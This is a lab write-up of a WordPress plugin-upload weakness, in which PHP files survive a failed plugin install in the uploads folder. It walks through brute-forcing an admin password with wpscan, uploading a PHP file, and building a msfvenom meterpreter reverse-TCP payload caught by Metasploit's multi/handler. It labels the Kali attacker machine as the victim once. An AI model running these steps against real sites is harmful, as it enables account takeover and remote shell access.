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Abstract 

In WordPress, plugins uploaded through the admin isn’t verified as ZIP files this allow php, 

image and other files to be uploaded. When a file gets uploaded it shows an error message 

stating that the file upload is in Bad Format. In this scenario an attacker can easily upload a 

payload in PHP file making the account vulnerable. Now the attacker can traverse through 

/wordpress/wp-content/uploads/{year}/{month/{file_name}. 

 

Introduction  

Attackers machine: Kali Linux 

Victims machine: Windows 7 

Tools Used : XAMPP,  Metasploit 

Other Requirements : wordpress file to host 

 

To test this I have first hosted wordpress locally. 

1. Steps to host locally 

A.Open XAMPP and start the services. 

B.Paste your wordpress file in htdocs. 

C. open 127.0.0.1/wordpress 

D. Now go to 127.0.0.1/phpmyadmin and make a database  and futher in option_value 

change from 127.0.0.1 to 192.168.86.13x(Windows IP) 

 



 

 

E.Also make changes in wp-config-sample.php file in htdocs related to password and db      

name. 

 

 

 

       F.Create an account on wordpress now. 



 

2. In kali linux (victim) use wpscan to get the username and password of the victim 

   wpscan –url http://192.168.86.13x/wp-login.php -U isha --password isha.txt 

 from this you’ll get the password. 

3. Now login to victims wordpress account. 

Browse 192.168.86.13x/wordpress. 

Login by using username and password that you have found from wpscan. 

Go to 192.168.86.13x/wordpress/wp-admin/  

4.Go to plugins  

Add new 

 

 

   5.Browse your php file and click on Install now. 

 



 

 

6.We know wordpress plugin only accepts ZIP file so once we upload php file we see an 

error message like in the image below which shows that if we upload PHP files or image 

instead of ZIP files in the plugin uploader - WordPress it will give an error message 

because of bad format. 

 

 

7. Did it really not upload? 

This plugin extraction fails but the php file gets stored in /wordpress/wp-

content/uploads/{year}/{month/{file_name}. 

 



 

 

 

8.With this vulnerability an attacker can create a reverse shell payload using msfvenom 

and upload it via plugin in shell.php file. 

msfvenom –p php/meterpreter/reverse_tcp lhost=192.168.86.13y lport=1337 –f raw  

 

 



Copy the payload and paste it in shell.php 

 

9. Now start msfconsole 

Use exploit/multi/handler 

Set lhost  

Set lport 

Use payload 

Exploit 

 

10.Now when the victim opens  shell.php file, attacker will get access to victims 

computer 

 

 

 

11. We can check many things once we get access. 

 



 

 

 

 

12.we can see the established connection on victims computer 



 

 

Remediations  

1. It would be best if the plugin and theme upload functionalities properly clean up the 

uploaded files if a plugin or theme fail to properly get extracted and/or installed. 

2. Always use latest version. 
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